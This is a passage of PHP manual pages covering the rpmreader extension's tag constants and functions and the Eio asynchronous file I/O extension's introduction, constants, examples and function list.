RPMREADER_PREIN (integer)
RPMREADER_POSTIN (integer)
RPMREADER_PREUN (integer)
RPMREADER_POSTUN (integer)
RPMREADER_OLDFILENAMES (integer)
The list of files in an RPM package (deprecated format). The correct way is now to use a combination of 3 tags (RPMREADER_BASENAMES, RPMREADER_DIRINDEXES, RPMREADER_DIRNAMES) in what RPM now calls "CompressedFileNames". This tag is still used in older RPM files that did not use the "CompressedFileNames" method and is maintained for backward compatibility.
RPMREADER_FILESIZES (integer)
RPMREADER_FILESTATES (integer)
RPMREADER_FILEMODES (integer)
RPMREADER_FILERDEVS (integer)
RPMREADER_FILEMTIMES (integer)
RPMREADER_FILEMD5S (integer)
RPMREADER_FILELINKTOS (integer)
RPMREADER_FILEFLAGS (integer)
RPMREADER_FILEUSERNAME (integer)
RPMREADER_FILEGROUPNAME (integer)
RPMREADER_ICON (integer)
RPMREADER_SOURCERPM (integer)
RPMREADER_FILEVERIFYFLAGS (integer)
RPMREADER_ARCHIVESIZE (integer)
RPMREADER_PROVIDENAME (integer)
RPMREADER_PROVIDES (integer)
RPMREADER_REQUIREFLAGS (integer)
RPMREADER_REQUIRENAME (integer)
RPMREADER_REQUIREVERSION (integer)
RPMREADER_CONFLICTFLAGS (integer)
RPMREADER_CONFLICTNAME (integer)
RPMREADER_CONFLICTVERSION (integer)
RPMREADER_EXCLUDEARCH (integer)
RPMREADER_EXCLUDEOS (integer)
RPMREADER_EXCLUSIVEARCH (integer)
RPMREADER_EXCLUSIVEOS (integer)
RPMREADER_RPMVERSION (integer)
RPMREADER_TRIGGERSCRIPTS (integer)
RPMREADER_TRIGGERNAME (integer)
RPMREADER_TRIGGERVERSION (integer)
RPMREADER_TRIGGERFLAGS (integer)
RPMREADER_TRIGGERINDEX (integer)
RPMREADER_VERIFYSCRIPT (integer)
RPMREADER_CHANGELOGTIME (integer)
The list of dates from changelog entries.
RPMREADER_CHANGELOGNAME (integer)
The list of changelog entry names.
RPMREADER_CHANGELOGTEXT (integer)
The list of the text from changelog entries.
RPMREADER_PREINPROG (integer)
RPMREADER_POSTINPROG (integer)
RPMREADER_PREUNPROG (integer)
RPMREADER_POSTUNPROG (integer)
RPMREADER_BUILDARCHS (integer)
RPMREADER_OBSOLETENAME (integer)
RPMREADER_OBSOLETES (integer)
RPMREADER_VERIFYSCRIPTPROG (integer)
RPMREADER_TRIGGERSCRIPTPROG (integer)
RPMREADER_COOKIE (integer)
RPMREADER_FILEDEVICES (integer)
RPMREADER_FILEINODES (integer)
RPMREADER_FILELANGS (integer)
RPMREADER_PREFIXES (integer)
RPMREADER_INSTPREFIXES (integer)
RPMREADER_PROVIDEFLAGS (integer)
RPMREADER_PROVIDEVERSION (integer)
RPMREADER_OBSOLETEFLAGS (integer)
RPMREADER_OBSOLETEVERSION (integer)
RPMREADER_DIRINDEXES (integer)
The list of indices that relate directory names to files in the RPM package. This tag is used in conjunction with RPMREADER_BASENAMES and RPMREADER_DIRNAMES to reconstruct filenames in the RPM package stored with the new "CompressedFileNames" method in RPM.
RPMREADER_BASENAMES (integer)
The list of the names of files in the RPM package without path information. This tag is used in conjunction with RPMREADER_DIRINDEXES and RPMREADER_DIRNAMES to reconstruct filenames in the RPM package stored with the new "CompressedFileNames" method in RPM.
RPMREADER_DIRNAMES (integer)
The list of directory names used by files in the RPM package. This tag is used in conjunction with RPMREADER_BASENAMES and RPMREADER_DIRINDEXES to reconstruct filenames in the RPM package stored with the new "CompressedFileNames" method in RPM.
RPMREADER_OPTFLAGS (integer)
RPMREADER_DISTURL (integer)
RPMREADER_PAYLOADFORMAT (integer)
RPMREADER_PAYLOADCOMPRESSOR (integer)
RPMREADER_PAYLOADFLAGS (integer)
RPMREADER_INSTALLCOLOR (integer)
RPMREADER_INSTALLTID (integer)
RPMREADER_REMOVETID (integer)
RPMREADER_RHNPLATFORM (integer)
RPMREADER_PLATFORM (integer)
RPMREADER_PATCHESNAME (integer)
RPMREADER_PATCHESFLAGS (integer)
RPMREADER_PATCHESVERSION (integer)
RPMREADER_CACHECTIME (integer)
RPMREADER_CACHEPKGPATH (integer)
RPMREADER_CACHEPKGSIZE (integer)
RPMREADER_CACHEPKGMTIME (integer)
RPMREADER_FILECOLORS (integer)
RPMREADER_FILECLASS (integer)
RPMREADER_CLASSDICT (integer)
RPMREADER_FILEDEPENDSX (integer)
RPMREADER_FILEDEPENDSN (integer)
RPMREADER_DEPENDSDICT (integer)
RPMREADER_SOURCEPKGID (integer)
RPMREADER_FILECONTEXTS (integer)
RPMREADER_FSCONTEXTS (integer)
RPMREADER_RECONTEXTS (integer)
RPMREADER_POLICIES (integer)
RPMREADER_MAXIMUM (integer)
The maximum valid value of any RPM tag number.

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

This example will open an RPM file and read the name, version, and release from the RPM file, echo the results, and close the RPM file.

Example #1 Basic RPMReader Example

<?php

$filename = "/path/to/file.rpm";

// open file
$rpmr = rpm_open($filename);

// get "Name" tag
$name = rpm_get_tag($rpmr, RPMREADER_NAME);

// get "Version" tag
$ver = rpm_get_tag($rpmr, RPMREADER_VERSION);

// get "Release" tag
$rel = rpm_get_tag($rpmr, RPMREADER_RELEASE);

echo "$name-$ver-$rel<br>\n";

// close file
rpm_close($rpmr);

?>

User Contributed Notes

There are no user contributed notes for this page.


RPM Reader Functions

Table of Contents

  • rpm_close — Closes an RPM file
  • rpm_get_tag — Retrieves a header tag from an RPM file
  • rpm_is_valid — Tests a filename for validity as an RPM file
  • rpm_open — Opens an RPM file
  • rpm_version — Returns a string representing the current version of the rpmreader extension

User Contributed Notes

There are no user contributed notes for this page.


Closes an RPM file

  • « RPM Reader Functions
  • rpm_get_tag »
  • PHP Manual
  • RPM Reader Functions
  • Closes an RPM file

rpm_close

(PECL rpmreader >= 0.1.0)

rpm_close — Closes an RPM file

Description

bool rpm_close ( resource $rpmr )

rpm_close() will close an RPM file pointer.

Parameters

rpmr

A file pointer resource successfully opened by rpm_open().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rpm_close() example

<?php

$file = "/path/to/file.rpm";
$rpmr = rpm_open($file);

rpm_close($rpmr);

?>

See Also

  • rpm_open() - Opens an RPM file

User Contributed Notes

There are no user contributed notes for this page.


Retrieves a header tag from an RPM file

  • « rpm_close
  • rpm_is_valid »
  • PHP Manual
  • RPM Reader Functions
  • Retrieves a header tag from an RPM file

rpm_get_tag

(PECL rpmreader >= 0.1.0)

rpm_get_tag — Retrieves a header tag from an RPM file

Description

mixed rpm_get_tag ( resource $rpmr , int $tagnum )

rpm_get_tag() will retrieve a given tag from the RPM file's header and return it.

Parameters

rpmr

A file pointer resource successfully opened by rpm_open().

tagnum

The tag number to retrieve from the RPM header. This value can be specified using the list of constants defined by this module.

Return Values

The return value can be of various types depending on the tagnum supplied to the function.

Examples

Example #1 rpm_get_tag() example

<?php

$file = "/path/to/file.rpm";
$rpmr = rpm_open($file);

$name = rpm_get_tag($rpmr, RPMREADER_NAME);
echo "$name<br>\n";

rpm_close($rpmr);

?>

See Also

  • rpm_open() - Opens an RPM file
  • rpm_close() - Closes an RPM file

User Contributed Notes

nrsocial at gmail dot com 03-Jul-2013 03:00
When getting the tags RPMREADER_REQUIREFLAGS, RPMREADER_CONFLICTFLAGS, RPMREADER_PROVIDEFLAGS, OBSOLETEFLAGS, the values correspond to the following:
2 - <
4 - >
8 - = OR ==
10 - <= OR =<
12 - >= OR =>


Tests a filename for validity as an RPM file

  • « rpm_get_tag
  • rpm_open »
  • PHP Manual
  • RPM Reader Functions
  • Tests a filename for validity as an RPM file

rpm_is_valid

(PECL rpmreader >= 0.1.0)

rpm_is_valid — Tests a filename for validity as an RPM file

Description

bool rpm_is_valid ( string $filename )

rpm_is_valid() will test an RPM file for validity as an RPM file. This is not the same as rpm_open() as it only checks the file for validity but does not return a file pointer to be used by further functions.

Parameters

filename

The filename of the RPM file you wish to check for validity.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 rpm_is_valid() example

<?php

$file = "/path/to/file.rpm";

if (rpm_is_valid($file)) {
    echo "File is recognized as an RPM file.<br>\n";
}
else {
    echo "File is not recognized as an RPM file.<br>\n";
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Opens an RPM file

  • « rpm_is_valid
  • rpm_version »
  • PHP Manual
  • RPM Reader Functions
  • Opens an RPM file

rpm_open

(PECL rpmreader >= 0.1.0)

rpm_open — Opens an RPM file

Description

resource rpm_open ( string $filename )

rpm_open() will open an RPM file and will determine if the file is a valid RPM file.

Parameters

filename

The filename of the RPM file you wish to open.

Return Values

If the open succeeds, then rpm_open() will return a file pointer resource to the newly opened file. On error, the function will return FALSE.

Examples

Example #1 rpm_open() example

<?php

$file = "/path/to/file.rpm";
$rpmr = rpm_open($file);

rpm_close($rpmr);

?>

See Also

  • rpm_close() - Closes an RPM file

User Contributed Notes

matt dot koola at gmail dot com 03-Jul-2013 02:46
It's worth noting that a URL to an RPM package can be passed to  rpm_open().
tpe at dansupport dot dk 08-Aug-2006 11:40
Just to list all tags as of version 0.3 beta:

RPMREADER_NAME
RPMREADER_MINIMUM
RPMREADER_VERSION
RPMREADER_RELEASE
RPMREADER_EPOCH
RPMREADER_SERIAL
RPMREADER_SUMMARY
RPMREADER_DESCRIPTION
RPMREADER_BUILDTIME
RPMREADER_BUILDHOST
RPMREADER_INSTALLTIME
RPMREADER_SIZE
RPMREADER_DISTRIBUTION
RPMREADER_VENDOR
RPMREADER_GIF
RPMREADER_XPM
RPMREADER_LICENSE
RPMREADER_COPYRIGHT
RPMREADER_PACKAGER
RPMREADER_GROUP
RPMREADER_SOURCE
RPMREADER_PATCH
RPMREADER_URL
RPMREADER_OS
RPMREADER_ARCH
RPMREADER_PREIN
RPMREADER_POSTIN
RPMREADER_PREUN
RPMREADER_POSTUN
RPMREADER_OLDFILENAMES
RPMREADER_FILESIZES
RPMREADER_FILESTATES
RPMREADER_FILEMODES
RPMREADER_FILERDEVS
RPMREADER_FILEMTIMES
RPMREADER_FILEMD5S
RPMREADER_FILELINKTOS
RPMREADER_FILEFLAGS
RPMREADER_FILEUSERNAME
RPMREADER_FILEGROUPNAME
RPMREADER_ICON
RPMREADER_SOURCERPM
RPMREADER_FILEVERIFYFLAGS
RPMREADER_ARCHIVESIZE
RPMREADER_PROVIDENAME
RPMREADER_PROVIDES
RPMREADER_REQUIREFLAGS
RPMREADER_REQUIRENAME
RPMREADER_REQUIREVERSION
RPMREADER_CONFLICTFLAGS
RPMREADER_CONFLICTNAME
RPMREADER_CONFLICTVERSION
RPMREADER_EXCLUDEARCH
RPMREADER_EXCLUDEOS
RPMREADER_EXCLUSIVEARCH
RPMREADER_EXCLUSIVEOS
RPMREADER_RPMVERSION
RPMREADER_TRIGGERSCRIPTS
RPMREADER_TRIGGERNAME
RPMREADER_TRIGGERVERSION
RPMREADER_TRIGGERFLAGS
RPMREADER_TRIGGERINDEX
RPMREADER_VERIFYSCRIPT
RPMREADER_CHANGELOGTIME
RPMREADER_CHANGELOGNAME
RPMREADER_CHANGELOGTEXT
RPMREADER_PREINPROG
RPMREADER_POSTINPROG
RPMREADER_PREUNPROG
RPMREADER_POSTUNPROG
RPMREADER_BUILDARCHS
RPMREADER_OBSOLETENAME
RPMREADER_OBSOLETES
RPMREADER_VERIFYSCRIPTPROG
RPMREADER_TRIGGERSCRIPTPROG
RPMREADER_COOKIE
RPMREADER_FILEDEVICES
RPMREADER_FILEINODES
RPMREADER_FILELANGS
RPMREADER_PREFIXES
RPMREADER_INSTPREFIXES
RPMREADER_PROVIDEFLAGS
RPMREADER_PROVIDEVERSION
RPMREADER_OBSOLETEFLAGS
RPMREADER_OBSOLETEVERSION
RPMREADER_DIRINDEXES
RPMREADER_BASENAMES
RPMREADER_DIRNAMES
RPMREADER_OPTFLAGS
RPMREADER_DISTURL
RPMREADER_PAYLOADFORMAT
RPMREADER_PAYLOADCOMPRESSOR
RPMREADER_PAYLOADFLAGS
RPMREADER_INSTALLCOLOR
RPMREADER_INSTALLTID
RPMREADER_REMOVETID
RPMREADER_RHNPLATFORM
RPMREADER_PLATFORM
RPMREADER_PATCHESNAME
RPMREADER_PATCHESFLAGS
RPMREADER_PATCHESVERSION
RPMREADER_CACHECTIME
RPMREADER_CACHEPKGPATH
RPMREADER_CACHEPKGSIZE
RPMREADER_CACHEPKGMTIME
RPMREADER_FILECOLORS
RPMREADER_FILECLASS
RPMREADER_CLASSDICT
RPMREADER_FILEDEPENDSX
RPMREADER_FILEDEPENDSN
RPMREADER_DEPENDSDICT
RPMREADER_SOURCEPKGID
RPMREADER_FILECONTEXTS
RPMREADER_FSCONTEXTS
RPMREADER_RECONTEXTS
RPMREADER_POLICIES
RPMREADER_MAXIMUM
RPMreader version


Returns a string representing the current version of the rpmreader extension

  • « rpm_open
  • Process Control Extensions »
  • PHP Manual
  • RPM Reader Functions
  • Returns a string representing the current version of the rpmreader extension

rpm_version

(PECL rpmreader >= 0.3.0)

rpm_version — Returns a string representing the current version of the rpmreader extension

Description

string rpm_version ( void )

rpm_version() will return the current version of the rpmreader extension.

Return Values

rpm_version() will return a string representing the rpmreader version currently loaded in PHP.

Examples

Example #1 rpm_version() example

<?php

$rpmr_ver = rpm_version();

echo "$rpmr_ver<br />\n";

?>

User Contributed Notes

There are no user contributed notes for this page.


Process Control Extensions

  • Eio
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Eio Functions
  • Ev
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Watchers
    • Watcher callbacks
    • Periodic watcher operation modes
    • Ev — The Ev class
    • EvCheck — The EvCheck class
    • EvChild — The EvChild class
    • EvEmbed — The EvEmbed class
    • EvFork — The EvFork class
    • EvIdle — The EvIdle class
    • EvIo — The EvIo class
    • EvLoop — The EvLoop class
    • EvPeriodic — The EvPeriodic class
    • EvPrepare — The EvPrepare class
    • EvSignal — The EvSignal class
    • EvStat — The EvStat class
    • EvTimer — The EvTimer class
    • EvWatcher — The EvWatcher class
  • Expect
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Expect Functions
  • Libevent
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Libevent Functions
  • PCNTL — Process Control
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • PCNTL Functions
  • POSIX
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • POSIX Functions
  • Program execution — System program execution
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Program execution Functions
  • pthreads
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Threaded — The Threaded class
    • Thread — The Thread class
    • Worker — The Worker class
    • Collectable — The Collectable class
    • Modifiers — Method Modifiers
    • Pool — The Pool class
    • Mutex — The Mutex class
    • Cond — The Cond class
  • Semaphore — Semaphore, Shared Memory and IPC
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Semaphore Functions
  • Shared Memory
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Shared Memory Functions
  • Sync
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • SyncMutex — The SyncMutex class
    • SyncSemaphore — The SyncSemaphore class
    • SyncEvent — The SyncEvent class
    • SyncReaderWriter — The SyncReaderWriter class

User Contributed Notes

There are no user contributed notes for this page.


Eio

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
  • Eio Functions
    • eio_busy — Artificially increase load. Could be useful in tests, benchmarking.
    • eio_cancel — Cancels a request
    • eio_chmod — Change file/direcrory permissions.
    • eio_chown — Change file/direcrory permissions.
    • eio_close — Close file
    • eio_custom — Execute custom request like any other eio_* call.
    • eio_dup2 — Duplicate a file descriptor
    • eio_event_loop — Polls libeio until all requests proceeded
    • eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file
    • eio_fchmod — Change file permissions.
    • eio_fchown — Change file ownership
    • eio_fdatasync — Synchronize a file's in-core state with storage device.
    • eio_fstat — Get file status
    • eio_fstatvfs — Get file system statistics
    • eio_fsync — Synchronize a file's in-core state with storage device
    • eio_ftruncate — Truncate a file
    • eio_futime — Change file last access and modification times
    • eio_get_event_stream — Get stream representing a variable used in internal communications with libeio.
    • eio_get_last_error — Returns string describing the last error associated with a request resource
    • eio_grp_add — Adds a request to the request group.
    • eio_grp_cancel — Cancels a request group
    • eio_grp_limit — Set group limit
    • eio_grp — Createsa request group.
    • eio_init — (Re-)initialize Eio
    • eio_link — Create a hardlink for file
    • eio_lstat — Get file status
    • eio_mkdir — Create directory
    • eio_mknod — Create a special or ordinary file.
    • eio_nop — Does nothing, except go through the whole request cycle.
    • eio_npending — Returns number of finished, but unhandled requests
    • eio_nready — Returns number of not-yet handled requests
    • eio_nreqs — Returns number of requests to be processed
    • eio_nthreads — Returns number of threads currently in use
    • eio_open — Opens a file
    • eio_poll — Can be to be called whenever there are pending requests that need finishing.
    • eio_read — Read from a file descriptor at given offset.
    • eio_readahead — Perform file readahead into page cache
    • eio_readdir — Reads through a whole directory
    • eio_readlink — Read value of a symbolic link.
    • eio_realpath — Get the canonicalized absolute pathname.
    • eio_rename — Change the name or location of a file.
    • eio_rmdir — Remove a directory
    • eio_seek — Repositions the offset of the open file associated with the fd argument to the argument offset according to the directive whence
    • eio_sendfile — Transfer data between file descriptors
    • eio_set_max_idle — Set maximum number of idle threads.
    • eio_set_max_parallel — Set maximum parallel threads
    • eio_set_max_poll_reqs — Set maximum number of requests processed in a poll.
    • eio_set_max_poll_time — Set maximum poll time
    • eio_set_min_parallel — Set minimum parallel thread number
    • eio_stat — Get file status
    • eio_statvfs — Get file system statistics
    • eio_symlink — Create a symbolic link
    • eio_sync_file_range — Sync a file segment with disk
    • eio_sync — Commit buffer cache to disk
    • eio_syncfs — Calls Linux' syncfs syscall, if available
    • eio_truncate — Truncate a file
    • eio_unlink — Delete a name and possibly the file it refers to
    • eio_utime — Change file last access and modification times.
    • eio_write — Write to file

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This extension provides asyncronous POSIX I/O by means of » libeio C library written by Marc Lehmann.

Note: This extension is not available on Windows platforms.

Warning

It is important to aware that each request is executed in a thread, and the order of execution of continuously queued requests basically is unpredictable. For instance, the following piece of code is incorrect.

Example #1 Incorrect requests

<?php
// Request to create symlink of $filename to $link
eio_symlink($filename, $link);

// Request to move $filename to $new_filename
eio_rename($filename, $new_filename);

// Process requests
eio_event_loop();
?>
In the example above eio_rename() request may finish before eio_symlink(). To fix it you might call eio_rename() in the callback of eio_symlink():

Example #2 Calling request from a request callback

<?php
function my_symlink_done($filename, $result) {
 // Request to move $filename to $new_filename
 eio_rename($filename, "/path/to/new-name");

 // Process requests
 eio_event_loop();
}

// Request to create symlink of $filename to $link
eio_symlink($filename, $link, EIO_PRI_DEFAULT, "my_symlink_done", $filename);

// Process requests
eio_event_loop();
?>
Alternatively, you might want to create a request group:

Example #3 Calling request from a request callback

<?php
/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 // ...
}

function my_symlink_done($filename, $result) {
 // Create eio_rename request and add it to the group
 $req = eio_rename($filename, "/path/to/new-name");
 eio_grp_add($grp, $req);
 // You might want to add more requests...
}

// Create a request group
$grp = eio_grp("my_grp_done", "my_grp_data");

// Create eio_symlink request and add it to the group
// Pass $filename to the callback
$req = eio_symlink($filename, $link,
  EIO_PRI_DEFAULT, "my_symlink_done", $filename);
eio_grp_add($grp, $req);

// Process requests
eio_event_loop();
?>
Group is a special kind of request that could accumulate a set of regular eio requests. This could be used to create a complex request that opens, reads and closes a file.

Since version 0.3.0 alpha, a variable used in communications with libeio internally, could be retrieved with eio_get_event_stream(). The variable could be used to bind to an event loop supported by some other extension. You might organize a simple event loop where eio and libevent work together:

Example #4 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_res_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

// This stream is used to bind with libevent
$fd = eio_get_event_stream();

eio_nop(EIO_PRI_DEFAULT, "my_res_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_res_cb", "mkdir data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This extension has » libeio library embedded. So you do NOT need to install libeio separately.

User Contributed Notes

There are no user contributed notes for this page.


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/eio.

For information about manual installation, please read the file INSTALL included in the package.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

There are two resource types in this extension: request and request group.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Request priority constants:

EIO_PRI_MIN (integer)
Request minimal prioriry
EIO_PRI_DEFAULT (integer)
Request default prioriry
EIO_PRI_MAX (integer)
Request maximal prioriry

eio_seek() whence argument:

EIO_SEEK_SET (integer)
The offset is set to specified number of bytes(offset).
EIO_SEEK_CUR (integer)
The offset is set to its current location plus offset bytes.
EIO_SEEK_END (integer)
The offset is set to the size of the file plus offset bytes.

Flags used with eio_readdir():

EIO_READDIR_DENTS (integer)
eio_readdir() flag. If specified, the result argument of the callback becomes an array with the following keys: 'names' - array of directory names 'dents' - array of struct eio_dirent-like arrays having the following keys each: 'name' - the directory name; 'type' - one of EIO_DT_* constants; 'inode' - the inode number, if available, otherwise unspecified;
EIO_READDIR_DIRS_FIRST (integer)
When this flag is specified, the names will be returned in an order where likely directories come first, in optimal stat order.
EIO_READDIR_STAT_ORDER (integer)
When this flag is specified, then the names will be returned in an order suitable for stat'ing each one. When planning to stat() all files in the given directory, the returned order will likely be fastest.
EIO_READDIR_FOUND_UNKNOWN (integer)
EIO_DT_UNKNOWN (integer)
Unknown node type(very common). Further stat() needed.
EIO_DT_FIFO (integer)
FIFO node type
EIO_DT_CHR (integer)
Node type
EIO_DT_MPC (integer)
Multiplexed char device (v7+coherent) node type
EIO_DT_DIR (integer)
Directory node type
EIO_DT_NAM (integer)
Xenix special named file node type
EIO_DT_BLK (integer)
Node type
EIO_DT_MPB (integer)
Multiplexed block device (v7+coherent)
EIO_DT_REG (integer)
Node type
EIO_DT_NWK (integer)
EIO_DT_CMP (integer)
HP-UX network special node type
EIO_DT_LNK (integer)
Link node type
EIO_DT_SOCK (integer)
Socket node type
EIO_DT_DOOR (integer)
Solaris door node type
EIO_DT_WHT (integer)
Node type
EIO_DT_MAX (integer)
Highest node type value

Access modes for eio_open() flags argument:

EIO_O_RDONLY (integer)
EIO_O_WRONLY (integer)
EIO_O_RDWR (integer)
EIO_O_NONBLOCK (integer)
EIO_O_APPEND (integer)
EIO_O_CREAT (integer)
EIO_O_TRUNC (integer)
EIO_O_EXCL (integer)
EIO_O_FSYNC (integer)

mode argument flags for eio_open():

EIO_S_IRUSR (integer)
EIO_S_IWUSR (integer)
EIO_S_IXUSR (integer)
EIO_S_IRGRP (integer)
EIO_S_IWGRP (integer)
EIO_S_IXGRP (integer)
EIO_S_IROTH (integer)
EIO_S_IWOTH (integer)
EIO_S_IXOTH (integer)
EIO_S_IFREG (integer)
EIO_S_IFCHR (integer)
EIO_S_IFBLK (integer)
EIO_S_IFIFO (integer)
EIO_S_IFSOCK (integer)

eio_sync_file_range() flags:

EIO_SYNC_FILE_RANGE_WAIT_BEFORE (integer)
EIO_SYNC_FILE_RANGE_WRITE (integer)
EIO_SYNC_FILE_RANGE_WAIT_AFTER (integer)

eio_fallocate() flags:

EIO_FALLOC_FL_KEEP_SIZE (integer)

Note:

EIO_S_I* constants have the same meaning as their S_I* POSIX counterparts.

Note:

EIO_SYNC_FILE_* constants have the same meaning as their SYNC_FILE_** counterparts.

Note:

EIO_O_* constants have the same meaning as their O_* POSIX counterparts.

User Contributed Notes

There are no user contributed notes for this page.


Examples

Example #1 Cancelling a request

<?php
 /* Is called when eio_nop() finished */
 function my_nop_cb($data, $result) {
  echo "my_nop ", $data, "\n";
 }

// This eio_nop() call will be cancelled
$req = eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "1");
var_dump($req);
eio_cancel($req);

// This time eio_nop() will be processed
eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "2");

// Process requests
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
my_nop 2

Example #2 Calling eio_chmod()

<?php
$temp_filename = dirname(__FILE__) ."/eio-temp-file.tmp";
touch($temp_filename);

/* Is called when eio_chmod() finished */
function my_chmod_callback($data, $result) {
    global $temp_filename;

    if ($result == 0 && !is_readable($temp_filename) && is_writable($temp_filename)) {
        echo "eio_chmod_ok";
    }

    @unlink($temp_filename);
}

eio_chmod($temp_filename, 0200, EIO_PRI_DEFAULT, "my_chmod_callback");
eio_event_loop();
?>

The above example will output something similar to:

eio_chmod_ok

Example #3 Making a custom request

<?php
/* Callback for the custom callback */
function my_custom_callback($data, $result) {
    var_dump($data);
    var_dump(count($result));
    var_dump($result['data_modified']);
    var_dump($result['result']);
}

/* The custom request */
function my_custom($data) {
    var_dump($data);

    $result  = array(
        'result'        => 1001,
        'data_modified' => "my custom data",
    );

    return $result;
}

$data = "my_custom_data";
$req = eio_custom("my_custom", EIO_PRI_DEFAULT, "my_custom_callback", $data);
var_dump($req);
eio_event_loop();
?>

The above example will output something similar to:

resource(4) of type (EIO Request Descriptor)
string(14) "my_custom_data"
string(14) "my_custom_data"
int(2)
string(14) "my custom data"
int(1001)

Example #4 Grouping requests

<?php
/*
 * Create a group request to open, read and close a file
 */

$temp_filename = dirname(__FILE__) ."/eio-file.tmp";
$fp = fopen($temp_filename, "w");
fwrite($fp, "some data");
fclose($fp);

/* Is called when the group requests are done */
function my_grp_done($data, $result) {
 global $temp_filename;
 var_dump($result == 0);
 @unlink($temp_filename);
}

/* Is called when eio_open() done */
function my_grp_file_opened_callback($data, $result) {
 global $my_file_fd, $grp;

 $my_file_fd = $result;

 var_dump($result > 0);

 // Create eio_read() request and add it to the group
 $req = eio_read($my_file_fd, 4, 0, EIO_PRI_DEFAULT, "my_grp_file_read_callback");
 eio_grp_add($grp, $req);
}

/* Is called when eio_read() done */
function my_grp_file_read_callback($data, $result) {
 global $my_file_fd, $grp;

 var_dump($result);

 // Create eio_close() request and add it to the group
 $req = eio_close($my_file_fd);
 eio_grp_add($grp, $req);
}

$grp = eio_grp("my_grp_done", "my_grp_data");

// Create eio_open() request and add it to the group
$req = eio_open($temp_filename, EIO_O_RDWR | EIO_O_APPEND , NULL,
  EIO_PRI_DEFAULT, "my_grp_file_opened_callback", NULL);
eio_grp_add($grp, $req);
var_dump($grp);

eio_event_loop();
?>

The above example will output something similar to:

resource(6) of type (EIO Group Descriptor)
bool(true)
string(4) "some"
bool(true)

Example #5 Using eio with libevent

<?php
function my_eio_poll($fd, $events, $arg) {
    /* Some libevent regulation might go here .. */
    if (eio_nreqs()) {
        eio_poll();
    }
    /* .. and here */
}

function my_nop_cb($d, $r) {
    var_dump($r); var_dump($d);
}

$base = event_base_new();
$event = event_new();

$fd = eio_get_event_stream();
var_dump($fd);

eio_nop(EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
eio_mkdir("/tmp/abc-eio-temp", 0750, EIO_PRI_DEFAULT, "my_nop_cb", "nop data");
/* some other eio_* calls here ... */

// set event flags
event_set($event, $fd, EV_READ /*| EV_PERSIST*/, "my_eio_poll", array($event, $base));

// set event base
event_base_set($event, $base);

// enable event
event_add($event);

// start event loop
event_base_loop($base);

/* The same will be available via buffered libevent interface */
?>

The above example will output something similar to:

int(3)
int(0)
string(8) "nop data"
int(0)
string(10) "mkdir data"

User Contributed Notes

There are no user contributed notes for this page.


Eio Functions

Table of Contents

  • eio_busy — Artificially increase load. Could be useful in tests, benchmarking.
  • eio_cancel — Cancels a request
  • eio_chmod — Change file/direcrory permissions.
  • eio_chown — Change file/direcrory permissions.
  • eio_close — Close file
  • eio_custom — Execute custom request like any other eio_* call.
  • eio_dup2 — Duplicate a file descriptor
  • eio_event_loop — Polls libeio until all requests proceeded
  • eio_fallocate — Allows the caller to directly manipulate the allocated disk space for a file
  • eio_fchmod — Change file permissions.
  • eio_fchown — Change file ownership
  • eio_fdatasync — Synchronize a file's in-core state with storage device.
  • eio_fstat — Get file status
  • eio_fstatvfs — Get file system statistics
  • eio_fsync — Synchronize a file's in-core state with storage device
  • eio_ftruncate — Truncate a file
  • eio_futime — Change file last access and modification times
  • eio_get_event_stream — Get stream representing a variable used in internal communications with libeio.
  • eio_get_last_error — Returns string describing the last error associated with a request resource
  • eio_grp_add — Adds a request to the request group.
  • eio_grp_cancel — Cancels a request group
  • eio_grp_limit — Set group limit
  • eio_grp — Createsa request group.
  • eio_init — (Re-)initialize Eio
  • eio_link — Create a hardlink for file
  • eio_lstat — Get file status
  • eio_mkdir — Create directory
  • eio_mknod — Create a special or ordinary file.
  • eio_nop — Does nothing, except go through the whole request cycle.
  • eio_npending — Returns number of finished, but unhandled requests
  • eio_nready — Returns number of not-yet handled requests
  • eio_nreqs — Returns number of requests to be processed
  • eio_nthreads — Returns number of threads currently in use
  • eio_open — Opens a file
  • eio_poll — Can be to be called whenever there are pending requests that need finishing.
  • eio_read — Read from a file descriptor at given offset.
  • eio_readahead — Perform file readahead into page cache
